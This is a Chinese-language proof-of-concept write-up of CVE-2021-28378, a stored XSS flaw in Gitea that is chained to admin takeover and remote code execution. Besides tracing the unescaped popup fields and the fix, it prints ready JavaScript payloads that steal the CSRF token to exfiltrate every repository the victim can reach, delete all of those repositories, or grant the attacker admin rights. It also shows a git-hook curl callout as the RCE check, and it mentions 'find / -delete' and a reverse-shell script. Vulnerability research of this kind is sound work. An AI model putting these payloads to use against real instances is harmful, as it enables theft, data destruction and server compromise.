
CVE-2021-28378 的详细概念验证与分析,这是 Gitea 中的一个存储型 XSS 漏洞,可通过 git hooks 实现任意代码注入、权限提升和远程代码执行。
有关此 CVE 的详细信息见此处。
此 CVE 针对的是从服务器获取的内容在客户端缺少字符串转义的问题。 它使攻击者能够通过在 issue 或拉取请求上创建评论,轻松注入任意代码。 该问题是在提交 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 中引入的,时间大约是 2020 年 1 月底,但由于是一次 squash 合并,我们无法准确知道是谁引入了该问题,从而无法调查是否还引入了类似的 bug。
首先,让我们了解这个漏洞的来源。为此,请看修复此 CVE 的提交。
修复前:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
我们可以看到,label.name、issue.repository.full_name、issue.title 和 body 都没有进行 HTML 转义,而这些字符串是用户可以操纵的,因此可以注入任意代码。
注意,issue.repository.full_name 实际上很难被操纵以注入代码,因为它必须遵守太多规则([\w._-]+),我们无法借助此 CVE 绕过。
这正是该 PR 通过将它们转换为 htmlEscape 来修复的内容。
修复后:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
让我们快速看一下文件 web_src/js/features/contextpopup.js,弄清楚如何触发此 CVE。
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
我们在这里看到的是,对于每个带有 ref-issue 类的节点,都会添加一个存在漏洞的弹出框。
现在,我们需要找到 ref-issue 在何处被发送给用户:让我们 grep 一下(只保留有意义的结果,排除测试文件或类似文件)!
下面的提交号对应于 1.12.4 标签,即官方 docker-compose.yml 文件中的默认版本,该版本受此 CVE 影响。
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
我们现在知道没有带 ref-issue 类的静态内容,它是动态生成的。
最后一行并不有趣,因为它只是一个消毒策略规则。其他几行很有趣,我们来看看为什么。
让我们深入 modules/markup/html.go。
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
我们还需要理解 getIssueFullPattern 做了什么。
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
让我们总结一下,理解这里做了哪些工作。
在 fullIssuePatternProcessor 中,首先需要确保 ctx.metas 不是 nil(我们假设它是非 nil 的,因为它是由调用栈中更高级的函数/方法构建的)。
然后我们检查节点数据是否匹配类似于 http://mygitea.com/gituser/myrepo/issues/1 的路径。如果匹配,我们就将其替换为一个链接。
如果该链接指向相同的用户和仓库,则替换为 #<issue_id> 模式,否则替换为 <user>/<repo>#<issue_id>。
在这两种情况下,都会添加 ref-issue 类来生成弹出框。
其他 grep 结果也做了类似的事情。
现在我们有了上下文,即把类似 http://mygitea.com/gituser/myrepo/issues/1 的链接替换为更短的链接,就可以推断出这种替换发生在哪里:在 issue 和 PR 中,你可以在那里添加标签和/或发表评论。
为此,假设你有一个具有写权限的仓库。
转到你的仓库,创建一个名称中包含任意代码的新标签(例如 <script>alert('label.name')</script>)。
转到你的仓库的 issues,创建一个标题和正文中包含任意代码的新 issue,并给它添加上述标签。
在任何仓库上创建一个新 issue,并在其正文中添加指向你注入的 issue 的链接,例如 http://mygitea.com/gituser/myrepo/issues/1。
它会被替换为我们之前看到的链接,当有人将鼠标悬停在该链接上时,任意代码就会运行:会显示一个嵌入 label.name 的弹出框。
CVE-2021-28378 已被证明能够实现任意代码注入。 让我们想象一下攻击者可以做什么。
在 Gitea 上,有一个 CSRF token,它在填写表单和/或调用 API 时验证你的身份,防止诸如嵌入 Gitea iframe 来窃取你的访问权限之类的安全问题。
CSRF token 存储在你的 cookie(_csrf)中,但也存储在用户访问的几乎所有网页(除了诸如 /api/v1/swagger 等少数页面)的某些字段中……包括 issue/PR 网页。
其中包含它的最有趣的字段位于 HTML 页面的公共头部区域中,XPath 始终相同:/html/head/meta[9]。
有了这些数据,我们就可以通过简单地用 JS 获取 CSRF token(代码如下),从任何受我们 payload 影响的用户发送经过身份验证的操作:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。
现在,是时候发挥你的创造力来构建各种攻击了。 请注意,你的操作会受到限制,但也不会太多:
label.name 和 issue.title 必须很短,因此容纳不了太多 payload。不过,你可以注入带有 src 属性的 script,引用任何你想要的脚本;body 的长度不受限制,但弹出框的预览限制了数据预览。如果你希望 payload 被触发,它必须位于开头。不过,你也可以像前面提到的那样使用带有 src 属性的 script。让我们看看你可以构建的一些示例。
想象一下这样的场景:攻击者想要获取你有权访问的所有仓库。这证明该攻击可以破坏你的全部机密性。 此攻击分 3 步完成:
让我们编写一些 JS 代码来实现:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。
现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该链接上时,他的所有仓库数据就会被攻击者窃取!
想象一下这样的场景:攻击者想要删除你有权访问的所有仓库。这证明该攻击可以破坏你的全部完整性。 此攻击分 3 步完成:
让我们编写一些 JS 代码来实现:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。
现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该引用上时,他有权访问的所有仓库都会被删除!
想象一下这样的场景:攻击者想要获取管理员权限。这证明权限提升是可能的。 此攻击分 2 步完成:
让我们编写一些 JS 代码来实现:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
注意,login_type 的值可能会根据你的 Gitea 版本以及你的实例处理登录的方式而变化。
将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。
现在,攻击者可以评论引用此注入 issue 的 issue/PR,当拥有足够权限的人将鼠标悬停在该引用上时,攻击者就会被授予管理员权限!他还可以将 issue 指派给管理员,或者在一个管理员正在关注的仓库上创建 issue(这样管理员会收到通知),以增加成功的机会。
Gitea 最“有趣”的地方在于,通过实现 git hooks,安全考虑并未被纳入流程。这可能是你能实现的最糟糕的想法之一。
一旦你拥有管理员权限,你就可以授予自己管理 git hooks 的权限(通过前面的 payload 即可实现)。按照 Gitea Git Hooks Remote Code Execution Metasploit 模块 的方式操作:
post-receive git-hook 中;为了确认此 RCE 有效,让我们放入以下内容,并带上有效的 id。
#!/bin/bash
curl https://requestbin.net/r/<id>
在 RequestBin 的检查面板中,在我们提交一个触发 post-receive git hook 的文件后,我们看到一个请求已经完成,其 User-Agent: curl/<version> 证明这是一个有效的 RCE。
请注意,这个功能意味着,对于任何能被管理员触发的 XSS,只要 _csrf 值几乎嵌入在所有网页中,你就能在 Gitea 上获得 RCE。
根据 CVE 受影响版本进行更新(请参阅官方报告)。在撰写本文时:1.12.0 到 1.13.4(不含)。
以下是受影响版本列表及其测试状态。注意,对于 1.13.X 版本,你必须在 app.ini 文件的 [security] 部分中添加 DISABLE_GIT_HOOKS = false,该文件可能位于 data/gitea/conf/app.ini,具体取决于你的数据文件夹位置(对于 DockerHub 上文档化的 docker-compose.yml 文件,它会在同一文件夹中)。
✅:已验证有效;❓:需要测试;❌:已验证无效
此表旨在引导读者进行评分计算:它仅用于讨论评分,不应作为指令。
向量字符串:CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| 指标组名称 | 分数 | 详细描述 |
|---|---|---|
| 基础分数 | 9.0 | 严重 |
| 时间分数 | 8.6 | 高 |
| 版本 | XSS | RCE |
|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
| 指标 | 值 | 说明 |
|---|
| AV | Network | 使用 HTTP 进行交互。 |
| AC | Low | 只需要一个 issue(默认情况下,在 Gitea 上提交 issue 非常容易,因为对所有人都开放)或一个拉取请求。 |
| PR | Low | 在大多数情况下,需要一个账户来创建 issue(默认情况下,你可以注册新账户)。所有账户都可以在只读仓库上创建 issue,除非该仓库被配置为禁止 issue(这不是默认设置,而且很少被修改)。 |
| UI | Required | 用户或管理员必须将鼠标悬停在受感染的链接上才能触发 payload。 |
| S | Changed | 通过 RCE,你可以访问主机以及同一主机上的其他服务。 |
| C | High | 一旦获得管理员权限,即使资源被配置为私有,你也可以管理一切。你能够窃取数据库凭据,利用 RCE 连接到数据库并提取数据。借助 RCE,你可以直接读取文件系统,而 Gitea 不会对其进行任何身份验证/授权检查。 |
| I | High | 一旦获得管理员权限,你可以修改权限、可见性、更改仓库代码,甚至删除仓库。借助 RCE,你可以自由地深入到一切事物中,从而影响用户、文件等的完整性。 |
| A | High | 借助 RCE,你可以简单地用 find / -delete 删除整个文件系统,导致可用性完全丧失。 |
| E | High | 借助 python 脚本 exploit.py,你可以轻松利用该漏洞,从一个普通账户一路提升到 root 反向 shell。 |
| RL | Official Fix | 由提交 <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab> 修复,该提交已合并到 master 并进入 Gitea 1.13.4。 |
| RC | Confirmed | 本报告确认并展示了多种利用方式,从 XSS 根源分析到 RCE 示例和脚本。 |